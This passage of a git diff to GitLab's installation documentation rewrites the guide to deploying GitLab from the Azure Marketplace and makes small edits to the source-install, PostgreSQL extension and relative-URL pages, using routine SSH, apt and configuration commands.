a/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png +++ /dev/null diff --git a/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png b/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png Binary files differdeleted file mode 100644 index 6423625ca8b..00000000000 --- a/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png +++ /dev/null diff --git a/doc/install/azure/img/azure-vm-domain-name.png b/doc/install/azure/img/azure-vm-domain-name.png Binary files differdeleted file mode 100644 index 01c03004b24..00000000000 --- a/doc/install/azure/img/azure-vm-domain-name.png +++ /dev/null diff --git a/doc/install/azure/img/azure-vm-management-public-ip.png b/doc/install/azure/img/azure-vm-management-public-ip.png Binary files differdeleted file mode 100644 index ef313641db8..00000000000 --- a/doc/install/azure/img/azure-vm-management-public-ip.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-admin-area-9.4.0.png b/doc/install/azure/img/gitlab-admin-area-9.4.0.png Binary files differdeleted file mode 100644 index b7ee4598731..00000000000 --- a/doc/install/azure/img/gitlab-admin-area-9.4.0.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-admin-area.png b/doc/install/azure/img/gitlab-admin-area.png Binary files differdeleted file mode 100644 index 028f0b0a0eb..00000000000 --- a/doc/install/azure/img/gitlab-admin-area.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-change-password.png b/doc/install/azure/img/gitlab-change-password.png Binary files differdeleted file mode 100644 index 7350d604d56..00000000000 --- a/doc/install/azure/img/gitlab-change-password.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-home.png b/doc/install/azure/img/gitlab-home.png Binary files differdeleted file mode 100644 index 7c935805ea2..00000000000 --- a/doc/install/azure/img/gitlab-home.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-login.png b/doc/install/azure/img/gitlab-login.png Binary files differdeleted file mode 100644 index 95fe5aec1e0..00000000000 --- a/doc/install/azure/img/gitlab-login.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-new-project.png b/doc/install/azure/img/gitlab-new-project.png Binary files differdeleted file mode 100644 index 3b6b9a81682..00000000000 --- a/doc/install/azure/img/gitlab-new-project.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-project-home-empty.png b/doc/install/azure/img/gitlab-project-home-empty.png Binary files differdeleted file mode 100644 index 54d0b36a251..00000000000 --- a/doc/install/azure/img/gitlab-project-home-empty.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-project-home-instructions.png b/doc/install/azure/img/gitlab-project-home-instructions.png Binary files differdeleted file mode 100644 index fd040d33e95..00000000000 --- a/doc/install/azure/img/gitlab-project-home-instructions.png +++ /dev/null diff --git a/doc/install/azure/img/gitlab-ssh-update-in-progress.png b/doc/install/azure/img/gitlab-ssh-update-in-progress.png Binary files differdeleted file mode 100644 index 8a686ebde26..00000000000 --- a/doc/install/azure/img/gitlab-ssh-update-in-progress.png +++ /dev/null diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md index 0c0a4457413..8fb400c796e 100644 --- a/doc/install/azure/index.md +++ b/doc/install/azure/index.md @@ -8,443 +8,316 @@ type: howto # Install GitLab on Microsoft Azure **(FREE SELF)** -WARNING: -This guide is deprecated and pending an update. For the time being, use the GitLab -[image in the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview). - -Azure is Microsoft's business cloud and GitLab is a pre-configured offering on -the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft -and Azure have embraced open source software like Ubuntu, Red Hat Enterprise Linux, -and of course - GitLab! This means that you can spin up a pre-configured -GitLab VM and have your very own private GitLab up and running in around 30 -minutes. Let's get started. - -## Getting started - -First, you'll need an account on Azure. There are three ways to do this: - -- If your company (or you) already has an account, then you are ready to go! -- You can also open your own Azure account for free. _At time of writing_, you get $200 - of credit to spend on Azure services for 30 days. You can use this credit to try out paid Azure - services, exploring Microsoft's cloud for free. Even after the first 30 days, you never have to pay - anything unless you decide to transition to paid services with a Pay-As-You-Go Azure subscription. - This is a great way to try out Azure and cloud computing, and you can - [read more in their comprehensive FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/). -- If you have an MSDN subscription, you can activate your Azure subscriber benefits. Your MSDN - subscription gives you recurring Azure credits every month, so why not put those credits to use and - try out GitLab right now? - -## Working with Azure - -Once you have an Azure account, you can get started. [Log in to Azure](https://portal.azure.com) -and the first thing you will see is the Dashboard: - - - -The Dashboard gives you a quick overview of Azure resources, and from here you can build VMs, -create SQL Databases, author websites, and perform lots of other cloud tasks. - -## Create New VM - -The [Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/) is an online store for pre-configured applications and -services which have been optimized for the cloud by software vendors like GitLab, -available on the Azure Marketplace as pre-configured solutions. In this tutorial -we will install GitLab Community Edition. - -To begin creating a new GitLab VM, click on the **+ New** icon, type "GitLab" into the search -box, and then click the **"GitLab Community Edition"** search result: - - - -A new "blade" window will pop-out, where you can read more about the **"GitLab Community Edition"** -offering which is freely available under the MIT Expat License: - - - -Click **"Create"** and you will be presented with the "Create virtual machine" blade: - - - -## Basics - -The first items we need to configure are the basic settings of the underlying virtual machine: - -1. Enter a `Name` for the VM - e.g. **"GitLab-CE"** -1. Select a `VM disk type` - either **HDD** _(slower, lower cost)_ or **SSD** _(faster, higher cost)_ -1. Enter a `User name` - e.g. `gitlab-admin` -1. Select an `Authentication type`, either **SSH public key** or **Password**: - - NOTE: - If you're unsure which authentication type to use, select **Password** +For users of the Microsoft Azure business cloud, GitLab has a pre-configured offering in +the [Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/). +This tutorial describes installing GitLab +Enterprise Edition in a single Virtual Machine (VM). - 1. If you chose **SSH public key** - enter your `SSH public key` into the field provided - _(read the [SSH documentation](../../ssh/README.md) to learn more about how to set up SSH - public keys)_ - 1. If you chose **Password** - enter the password you wish to use _(this is the password that you - will use later in this tutorial to [SSH](https://en.wikipedia.org/wiki/Secure_Shell) into the VM, so make sure it's a strong password/passphrase)_ +## Prerequisite -1. Choose the appropriate `Subscription` tier for your Azure account -1. Choose an existing `Resource Group` or create a new one - e.g. **"GitLab-CE-Azure"** +You'll need an account on Azure. Use of the following methods to obtain an account: - NOTE: - A "Resource group" is a way to group related resources together for easier administration. - We chose "GitLab-CE-Azure", but your resource group can have the same name as your VM. - -1. Choose a `Location` - if you're unsure, select the default location - -Here are the settings we've used: - - - -Check the settings you have entered, and then click **"OK"** when you're ready to proceed. - -## Size +- If you or your company already have an account with a subscription, use that account. + If not, you can [open your own Azure account for free](https://azure.microsoft.com/en-us/free/). + Azure's free trial gives you $200 credit to explore Azure for 30 days. + [Read more in Azure's comprehensive FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/). +- If you have an MSDN subscription, you can activate your Azure subscriber benefits. Your MSDN + subscription gives you recurring Azure credits every month, so you can use + those credits and try out GitLab. -Next, you need to choose the size of your VM - selecting features such as the number of CPU cores, -the amount of RAM, the size of storage (and its speed), etc. +## Deploy and configure GitLab -NOTE: -In common with other cloud vendors, Azure operates a resource/usage pricing model, i.e. -the more resources your VM consumes the more it will cost you to run, so make your selection -carefully. You'll see that Azure provides an _estimated_ monthly cost beneath each VM Size to help -guide your selection. +Because GitLab is already installed in a pre-configured image, all you have to do is +create a new VM: -The default size - the lowest cost **"DS1_V2 Standard"** VM - meets the minimum system requirements -to run a small GitLab environment for testing and evaluation purposes, and so we're going to go -ahead and select this one, but please choose the size which best meets your own requirements: +1. [Visit the GitLab offering in the marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview) +1. Select **Get it now** and you will be presented with the **Create this app in Azure** window. + Select **Continue**. +1. Select one of the following options from the Azure portal: + - Select **Create** to create a VM from scratch. + - Select **Start with a pre-set configuration** to get started with some + pre-configured options. You can modify these configurations at any time. - +For the sake of this guide, we'll create the VM from scratch, so +select **Create**. NOTE: -Be aware that while your VM is active (known as "allocated"), it will incur -"compute charges" which, ultimately, you will be billed for. So, even if you're using the -free trial credits, you'll likely want to learn +Be aware that while your VM is active (known as "allocated"), it incurs +compute charges for which you'll be billed. Even if you're using the +free trial credits, you'll want to know [how to properly shutdown an Azure VM to save money](https://build5nines.com/properly-shutdown-azure-vm-to-save-money/). +See the [Azure pricing calculator](https://azure.microsoft.com/en-us/pricing/calculator/) +to learn how much resources can cost. -Go ahead and click your chosen size, then click **"Select"** when you're ready to proceed to the -next step. +After you create the virtual machine, use the information in the following +sections to configure it. -## Settings +### Configure the Basics tab -On the next blade, you're asked to configure the Storage, Network and Extension settings. -We've gone with the default settings as they're sufficient for test-driving GitLab, but please -choose the settings which best meet your own requirements: +The first items you need to configure are the basic settings of the underlying virtual machine: - +1. Select the subscription model and a resource group (create a new one if it + doesn't exist). +1. Enter a name for the VM, for example `GitLab`. +1. Select a region. +1. In **Availability options**, select **Availability zone** and set it to `1`. + Read more about the [availability zones](https://docs.microsoft.com/en-us/azure/virtual-machines/availability). +1. Ensure the selected image is set to **GitLab - Gen1**. +1. Select the VM size based on the [hardware requirements](../requirements.md#hardware-requirements). + Because the minimum system requirements to run a GitLab environment for up to 500 users + is covered by the `D4s_v3` size, select that option. +1. Set the authentication type to **SSH public key**. +1. Enter a user name or leave the one that is automatically created. This is + the user you'll use to connect to the VM through SSH. By default, the user + has root access. +1. Determine if you want to provide your own SSH key or let Azure create one for you. + Read the [SSH documentation](../../ssh/README.md) to learn more about how to set up SSH + public keys. -Review the settings and then click **"OK"** when you're ready to proceed to the last step. +Review your entered settings, and then proceed to the Disks tab. -## Purchase +### Configure the Disks tab -The Purchase page is the last step and here you will be presented with the price per hour for your -new VM. You'll be billed only for the VM itself (e.g. "Standard DS1 v2") because the -**"GitLab Community Edition"** marketplace solution is free to use at 0 USD/hr: +For the disks: - +1. For the OS disk type, select **Premium SSD**. +1. Select the default encryption. -NOTE: -At this stage, you can review and modify the any of the settings you have made during all -previous steps, just click on any of the four steps to re-open them. +[Read more about the types of disks](https://docs.microsoft.com/en-us/azure/virtual-machines/managed-disks-overview) that Azure provides. -When you have read and agreed to the terms of use and are ready to proceed, click **"Purchase"**. +Review your settings, and then proceed to the Networking tab. -## Deployment +### Configure the Networking tab -At this point, Azure will begin deploying your new VM. The deployment process will take a few -minutes to complete, with progress displayed on the **"Deployment"** blade: +Use this tab to define the network connectivity for your +virtual machine, by configuring network interface card (NIC) settings. +You can leave them at their default settings. - +Azure creates a security group by default and the VM is assigned to it. +The GitLab image in the marketplace has the following ports open by default: -Once the deployment process is complete, the new VM and its associated resources will be displayed -on the Azure Dashboard (you may need to refresh the page): +| Port | Description | +|------|-------------| +| 80 | Enable the VM to respond to HTTP requests, allowing public access. | +| 443 | Enable our VM to respond to HTTPS requests, allowing public access. | +| 22 | Enable our VM to respond to SSH connection requests, allowing public access (with authentication) to remote terminal sessions. | - +If you want to change the ports or add any rules, you can do it +after the VM is created by going to the Networking settings in the left sidebar, +while in the VM dashboard. -The new VM can also be accessed by clicking the `All resources` or `Virtual machines` icons in the -Azure Portal sidebar navigation menu. +### Configure the Management tab -## Set up a domain name +Use this tab to configure monitoring and management options +for your VM. You don't need to change the default settings. -The VM will have a public IP address (static by default), but Azure allows us to assign a friendly -DNS name to the VM, so let's go ahead and do that. +### Configure the Advanced tab -From the Dashboard, click on the **"GitLab-CE"** tile to open the management blade for the new VM. -The public IP address that the VM uses is shown in the 'Essentials' section: +Use this tab to add additional configuration, agents, scripts +or applications through virtual machine extensions or `cloud-init`. You don't +need to change the default settings. - +### Configure the Tags tab -Click on the public IP address - which should open the **"Public IP address - Configuration"** blade, -then click on **"Configuration"** (under "Settings"). Now enter a friendly DNS name for your instance -in the `DNS name label` field: +Use this tab to add name/value pairs that enable you to categorize +resources. You don't need to change the default settings. - +### Review and create the VM -In the screenshot above, you'll see that we've set the `DNS name label` to `gitlab-ce-test`. -This will make our VM accessible at `gitlab-ce-test.centralus.cloudapp.azure.com` -_(the full domain name of your own VM will be different, of course)_. +The final tab presents you with all of your selected options, +where you can review and modify your choices from the +previous steps. Azure will run validation tests in the background, +and if you provided all of the required settings, you can +create the VM. -Click **"Save"** for the changes to take effect. +After you select **Create**, if you had opted for Azure to create an SSH key pair +for you, you'll be asked to download the private SSH key. Download the key, as you'll +need it to SSH into the VM. -NOTE: -If you want to use your own domain name, you will need to add a DNS `A` record at your -domain registrar which points to the public IP address of your Azure VM. If you do this, you'll need -to make sure your VM is configured to use a _static_ public IP address (i.e. not a _dynamic_ one) -or you will have to reconfigure the DNS `A` record each time Azure reassigns your VM a new public IP -address. Read [Public IP addresses](https://docs.microsoft.com/en-us/azure/virtual-network/public-ip-addresses) to learn more. - -## Let's open some ports - -At this stage you should have a running and fully operational VM. However, none of the services on -your VM (e.g. GitLab) will be publicly accessible via the internet until you have opened up the -necessary ports to enable access to those services. - -Ports are opened by adding _security rules_ to the **"Network security group"** (NSG) which our VM -has been assigned to. If you followed the process above, then Azure will have automatically created -an NSG named `GitLab-CE-nsg` and assigned the `GitLab-CE` VM to it. +After you download the key, the deployment begins. -NOTE: -If you gave your VM a different name then the NSG automatically created by Azure will -also have a different name - the name you have your VM, with `-nsg` appended to it. +### Finish deployment -You can navigate to the NSG settings via many different routes in the Azure Portal, but one of the -simplest ways is to go to the Azure Dashboard, and then click on the Network Security Group listed -in the **"All resources"** tile: +At this point, Azure begins to deploy your new VM. The deployment process +takes a few minutes to complete. After it's complete, the new VM and its +associated resources are displayed on the Azure Dashboard. +Select **Go to resource** to visit the dashboard of the VM. - +GitLab is now deployed and ready to be used. Before doing so, however, +you need to set up the domain name and configure GitLab to use it. -With the **"Network security group"** blade open, click on **"Inbound security rules"** under -**"Settings"**: +### Set up a domain name - +The VM has a public IP address (static by default), but Azure allows you +to assign a descriptive DNS name to the VM: -Next, click **"Add"**: +1. From the VM dashboard, select **Configure** under **DNS name**. +1. Enter a descriptive DNS name for your instance in the **DNS name label** field, + for example `gitlab-prod`. This will make the VM accessible at + `gitlab-prod.eastus.cloudapp.azure.com`. +1. Select **Save** for the changes to take effect. - +Eventually, you'll want to use your own domain name. To do this, you need to add a DNS `A` record +with your domain registrar that points to the public IP address of your Azure VM. +You can use [Azure's DNS](https://docs.microsoft.com/en-us/azure/dns/dns-delegate-domain-azure-dns) +or some [other registrar](https://docs.gitlab.com/omnibus/settings/dns.html). -### Which ports to open? +### Change the GitLab external URL -Like all servers, our VM will be running many services. However, we want to open up the correct -ports to enable public internet access to two services in particular: +GitLab uses `external_url` in its configuration file to set up the domain name. +If you don't set this up, when you visit the Azure friendly name, you'll +instead be redirected to the public IP. -1. **HTTP** (port 80) - opening port 80 will enable our VM to respond to HTTP requests, allowing - public access to the instance of GitLab running on our VM. -1. **SSH** (port 22) - opening port 22 will enable our VM to respond to SSH connection requests, - allowing public access (with authentication) to remote terminal sessions - _(you'll see why we need [SSH](https://en.wikipedia.org/wiki/Secure_Shell) access to our VM [later on in this tutorial](#maintaining-your-gitlab-instance))_ +To set up the GitLab external URL: -### Open HTTP on Port 80 +1. Connect to GitLab through SSH by going to **Settings > Connect** from the VM + dashboard, and follow the instructions. Remember to sign in with the username + and SSH key you specified when you [created the VM](#configure-the-basics-tab). + The Azure VM domain name will be the one you + [set up previously](#set-up-a-domain-name). If you didn't set up a domain name for + your VM, you can use the IP address in its place. -In the **"Add inbound security rule"** blade, let's open port 80 so that our VM will accept HTTP -connections: + In the case of our example: - + ```shell + ssh -i <private key path> gitlab-azure@gitlab-prod.eastus.cloudapp.azure.com + ``` -1. Enter **"HTTP"** in the `Name` field -1. Select **HTTP** from the options in the `Service` dropdown list -1. Make sure the `Action` is set to **Allow** -1. Click **"OK"** + NOTE: + If you need to reset your credentials, read + [how to reset SSH credentials for a user on an Azure VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection#reset-ssh-credentials-for-a-user). -### Open SSH on Port 22 +1. Open `/etc/gitlab/gitlab.rb` with your editor. +1. Find `external_url` and replace it with your own domain name. For the sake + of this example, we'll use the friendly domain name that Azure set up. + If you use `https` in the URL, Let's Encrypt will be + [automatically enabled](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration), + and you'll have HTTPS by default: -Repeat the above process, adding a second Inbound security rule to open port 22, enabling our VM to -accept [SSH](https://en.wikipedia.org/wiki/Secure_Shell) connections: + ```ruby + external_url 'https://gitlab-prod.eastus.cloudapp.azure.com' + ``` - +1. Find the following settings and comment them out, so that GitLab doesn't + pick up the wrong certificates: -1. Enter **"SSH"** in the `Name` field -1. Select **SSH** from the options in the `Service` dropdown list -1. Make sure the `Action` is set to **Allow** -1. Click **"OK"** + ```ruby + # nginx['redirect_http_to_https'] = true + # nginx['ssl_certificate'] = "/etc/gitlab/ssl/server.crt" + # nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/server.key" + ``` -It will take a moment for Azure to add each new Inbound Security Rule (and you may need to click on -**"Inbound security rules"** to refresh the list), but once completed, you should see the two new -rules in the list: +1. Reconfigure GitLab for the changes to take effect. Run the + following command every time you make changes to `/etc/gitlab/gitlab.rb`: - + ```shell + sudo gitlab-ctl reconfigure + ``` -## Connecting to GitLab +You can now visit GitLab with your browser at the new external URL. -Use the domain name you set up earlier (or the public IP address) to visit your new GitLab instance -in your browser. If everything has gone according to plan you should be presented with the -following page, asking you to set a _new_ password for the administrator account automatically -created by GitLab: +### Visit GitLab for the first time - +Use the domain name you set up earlier to visit your new GitLab instance +in your browser. In this example, it's `https://gitlab-prod.eastus.cloudapp.azure.com`. -Enter your _new_ password into both form fields, and then click **"Change your password"**. +The first thing you'll see is the sign-in page. GitLab creates an admin user by default. +The credentials are: -Once you have changed the password you will be redirected to the GitLab login page. Use `root` as -the username, enter the new password you set in the previous step, and then click **"Sign in"**: +- Username: `root` +- Password: the password is automatically created, and there are [two ways to + find it](https://docs.bitnami.com/azure/faq/get-started/find-credentials). - +After signing in, be sure to immediately [change the password](../../user/profile/index.md#change-your-password). -### Success? +## Maintain your GitLab instance -After signing in successfully, you should see the GitLab Projects page displaying a -**"Welcome to GitLab!"** message: +It's important to keep your GitLab environment up-to-date. The GitLab team is constantly making +enhancements and occasionally you may need to update for security reasons. Use the information +in this section whenever you need to update GitLab. - +### Check the current version -If so, you now have a working GitLab instance on your own private Azure VM. **Congratulations!** +To determine the version of GitLab you're currently running, +go to the **{admin}** **Admin Area**, and you will find the version +under the **Components** table. -## Creating your first GitLab project +If there's a newer available version of GitLab that contains one or more +security fixes, GitLab displays an **Update asap** notification message that +encourages you to [update](#update-gitlab). -You can skip this section if you are familiar with Git and GitLab. Otherwise, let's create our first -project. From the Welcome page, click **"New Project"**. +### Update GitLab -Let's give our project a name and a description, and then accept the default values for everything -else: +To update GitLab to the latest version: -1. Enter **"demo"** into the `Project path` project name field -1. Enter a `description`, e.g. **"My awesome demo project!"** -1. Click **"Create project"** +1. Connect to the VM through SSH. +1. Update GitLab: - + ```shell + sudo apt update + sudo apt install gitlab-ee + ``` -Once the new project has been created (which should only take a moment), you'll be redirected to -homepage for the project: + This command updates GitLab and its associated components to the latest versions, + and can take time to complete. You'll see various update tasks being + completed in your terminal. - + NOTE: + If you get an error like + `E: The repository 'https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease' is not signed.`, + see the [troubleshooting section](#update-the-gpg-key-for-the-gitlab-repositories). -If you scroll further down the project's home page, you'll see some basic instructions on how to -set up a local clone of your new repository and push and pull from it: +1. After the update process is complete, you'll see a message like the + following: - + ```plaintext + Upgrade complete! If your GitLab server is misbehaving try running -**That's it! You now have your own private GitLab environment installed and running in the cloud!** + sudo gitlab-ctl restart -## Maintaining your GitLab instance + before anything else. + ``` -It's important to keep your GitLab environment up-to-date. The GitLab team is constantly making -enhancements and occasionally you may need to update for security reasons. So let's review how to -update GitLab. +Refresh your GitLab instance in the browser and go to the Admin Area. You should now have an +up-to-date GitLab instance. -### Checking our current version +## Next steps and further configuration -To check which version of GitLab we're currently running, click on the "Admin Area" link - it's the -the wrench icon displayed in the top-right, next to the search box. +Now that you have a functional GitLab instance, follow the +[next steps](../index.md#next-steps) to learn what more you can do with your +new installation. -In the following screenshot you can see an **"update asap"** notification message in the top-right. -This particular message indicates that there is a newer version of GitLab available which contains -one or more security fixes: +## Troubleshooting - +This section describes common errors you can encounter. -Under the **"Components"** section, we can see that our VM is currently running version `8.6.5` of -GitLab. This is the version of GitLab which was contained in the Azure Marketplace -**"GitLab Community Edition"** offering we used to build the VM when we wrote this tutorial. +### Update the GPG key for the GitLab repositories NOTE: -The version of GitLab in your own VM instance may well be different, but the update -process will still be the same. - -### Connect via SSH - -To perform an update, we need to connect directly to our Azure VM instance and run some commands -from the terminal. Our Azure VM is actually a server running Linux (Ubuntu), so we'll need to -connect to it using SSH ([Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell)). - -If you're running Windows, you'll need to connect using [PuTTY](https://www.putty.org) or an equivalent Windows SSH client. -If you're running Linux or macOS, then you already have an SSH client installed. +This is a temporary fix until the GitLab image is updated with the new +GPG key. -Remember to sign in with the username and password you specified when you -[created your Azure VM](#basics). +The pre-configured GitLab image in Azure (provided by Bitnami) uses +a GPG key [deprecated in April 2020](https://about.gitlab.com/blog/2020/03/30/gpg-key-for-gitlab-package-repositories-metadata-changing/). -If you need to reset your VM password, read -[how to reset SSH credentials for a user on an Azure VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection). +If you try to update the repositories, you'll get the following error: -#### SSH from the command-line +<!-- vale gitlab.ReferenceLinks = NO --> -If you're running [SSH](https://en.wikipedia.org/wiki/Secure_Shell) from the command-line (terminal), then type in the following command to -connect to your VM, substituting `username` and `your-azure-domain-name.com` for the correct values. - -Again, remember that your Azure VM domain name will be the one you -[set up previously in the tutorial](#set-up-a-domain-name). If you didn't set up a domain name for -your VM, you can use the IP address in its place in the following command: - -```shell -ssh username@your-azure-domain-name.com +```plaintext +[ 21.023494] apt-setup[1198]: W: GPG error: https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 3F01618A51312F3F +[ 21.024033] apt-setup[1198]: E: The repository 'https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease' is not signed. ``` -Provide your password at the prompt to authenticate. +<!-- vale gitlab.ReferenceLinks = YES --> -#### SSH from Windows (PuTTY) - -If you're using [PuTTY](https://www.putty.org) in Windows as your [SSH](https://en.wikipedia.org/wiki/Secure_Shell) client, then you might want to take a quick -read on [using PuTTY in Windows](https://mediatemple.net/community/products/dv/204404604/using-ssh-in-putty-). - -### Updating GitLab - -After signing in by using SSH, enter the following command to update GitLab to -the latest version: +To fix this, fetch the new GPG key: ```shell -sudo apt-get update && sudo apt-get install gitlab-ce -``` - -This command updates GitLab and its associated components to the latest versions, -so it will take a little time to complete. You'll see various update tasks being -completed in your SSH terminal window: - - - -After the update process is complete, you'll see a message like this: - -```plaintext -Upgrade complete! If your GitLab server is misbehaving try running - - sudo gitlab-ctl restart - -before anything else. +sudo apt install gpg-agent +curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" --output /tmp/omnibus_gitlab_gpg.key +sudo apt-key add /tmp/omnibus_gitlab_gpg.key ``` -#### Check out your updated GitLab - -Refresh your GitLab instance in the browser and navigate to the Admin Area. You should now have an -up-to-date GitLab instance. - -When we wrote this tutorial our Azure VM GitLab instance was updated to the latest version at time -of writing (`9.4.0`). You can see that the message which was previously displaying **"update asap"** -is now showing **"up-to-date"**: - - - -## Conclusion - -Naturally, we believe that GitLab is a great Git repository tool. However, GitLab is a whole lot -more than that too. GitLab unifies issues, code review, CI and CD into a single UI, helping you to -move faster from idea to production, and in this tutorial we showed you how quick and easy it is to -set up and run your own instance of GitLab on Azure, Microsoft's cloud service. - -Azure is a great way to experiment with GitLab, and if you decide (as we hope) that GitLab is for -you, you can continue to use Azure as your secure, scalable cloud provider or of course run GitLab -on any cloud service you choose. - -## Where to next? - -Check out our other [Technical Articles](../../topics/index.md) or browse the [GitLab Documentation](../../README.md) to learn more about GitLab. - -### Useful links - -- [GitLab Community Edition](https://about.gitlab.com/features/) -- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee) -- [Microsoft Azure](https://azure.microsoft.com/en-us/) - - [Azure - Free Account FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/) - - [Azure - Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/) - - [Azure Portal](https://portal.azure.com) - - [Azure - Pricing Calculator](https://azure.microsoft.com/en-us/pricing/calculator/) - - [Azure - Troubleshoot SSH Connections to an Azure Linux VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection) - - [Azure - Properly Shutdown an Azure VM](https://build5nines.com/properly-shutdown-azure-vm-to-save-money/) -- [SSH](https://en.wikipedia.org/wiki/Secure_Shell), [PuTTY](https://www.putty.org) and [Using SSH in PuTTY](https://mediatemple.net/community/products/dv/204404604/using-ssh-in-putty-) - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +You can now [update GitLab](#update-gitlab). For more information, read about the +[packages signatures](https://docs.gitlab.com/omnibus/update/package_signatures.html). diff --git a/doc/install/installation.md b/doc/install/installation.md index 8497b2b5269..eb8c3784cfa 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -131,22 +131,45 @@ that: - Is always at the version required by GitLab. - May contain custom patches required for proper operation. -```shell -# Install dependencies -sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev libpcre2-dev build-essential +1. Install the needed dependencies: -# Clone the Gitaly repository -git clone https://gitlab.com/gitlab-org/gitaly.git -b <X-Y-stable> /tmp/gitaly + ```shell + sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev libpcre2-dev build-essential git-core + ``` -# Compile and install Git -cd /tmp/gitaly -sudo make git GIT_PREFIX=/usr/local -``` +1. Clone the Gitaly repository and compile Git. Replace `<X-Y-stable>` with the + stable branch that matches the GitLab version you want to install. For example, + if you want to install GitLab 13.6, use the branch name `13-6-stable`: + + ```shell + git clone https://gitlab.com/gitlab-org/gitaly.git -b <X-Y-stable> /tmp/gitaly + cd /tmp/gitaly + sudo make git GIT_PREFIX=/usr/local + ``` + +1. Optionally, you can remove the system Git and its dependencies: + + ```shell + sudo apt remove -y git-core + sudo apt autoremove + ``` + +When [editing `config/gitlab.yml` later](#configure-it), remember to change +the Git path: + +- From: + + ```yaml + git: + bin_path: /usr/bin/git + ``` -Replace `<X-Y-stable>` with the stable branch that matches the GitLab version you want to -install. For example, if you want to install GitLab 13.6, use the branch name `13-6-stable`. +- To: -When editing `config/gitlab.yml` later, change the `git -> bin_path` to `/usr/local/bin/git`. + ```yaml + git: + bin_path: /usr/local/bin/git + ``` ### GraphicsMagick @@ -212,7 +235,7 @@ curl --remote-name --progress-bar "https://cache.ruby-lang.org/pub/ruby/2.7/ruby echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz cd ruby-2.7.2 -./configure --disable-install-rdoc +./configure --disable-install-rdoc --enable-shared make sudo make install ``` @@ -570,8 +593,8 @@ Install the gems (if you want to use Kerberos for user authentication, omit `kerberos` in the `--without` option below): ```shell -sudo -u git -H bundle config set deployment 'true' -sudo -u git -H bundle config set without 'development test mysql aws kerberos' +sudo -u git -H bundle config set --local deployment 'true' +sudo -u git -H bundle config set --local without 'development test mysql aws kerberos' sudo -u git -H bundle install ``` diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md index eee70c2c578..ef6eb378346 100644 --- a/doc/install/pivotal/index.md +++ b/doc/install/pivotal/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w WARNING: As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry -tile on Pivotal Network has reached its End of Availability (“EoA”) and is no +tile on Pivotal Network has reached its End of Availability ("EoA") and is no longer available for download or sale through Pivotal. Current customers with active subscriptions continue to receive support from GitLab through their subscription term. Pivotal and GitLab are collaborating on creating a new diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md index 8d5a2a79b72..663ec547733 100644 --- a/doc/install/postgresql_extensions.md +++ b/doc/install/postgresql_extensions.md @@ -15,6 +15,7 @@ The following extensions must be loaded into the GitLab database: |--------------|------------------------| | `pg_trgm` | 8.6 | | `btree_gist` | 13.1 | +| `plpgsql` | 11.7 | In order to install extensions, PostgreSQL requires the user to have superuser privileges. Typically, the GitLab database user is not a superuser. Therefore, regular database migrations diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md index e0971d7f354..d04f55c43a3 100644 --- a/doc/install/relative_url.md +++ b/doc/install/relative_url.md @@ -24,8 +24,8 @@ Note that by changing the URL on an existing GitLab installation, all remote URLs will change, so you'll have to manually edit them in any local repository that points to your GitLab instance. -The TL;DR list of configuration files that you need to change in order to -serve GitLab under a relative URL is: +The list of configuration files you must change to serve GitLab from a +relative URL is: - `/home/git/gitlab/config/initializers/relative_url.rb` - `/home/git/gitlab/config/gitlab.yml` diff --git a/doc/install/requirements.md b/doc/install/requirements.md index a1343dd5f98..70e95e284a3 100644 --- a/doc/install/requirements.md +++ 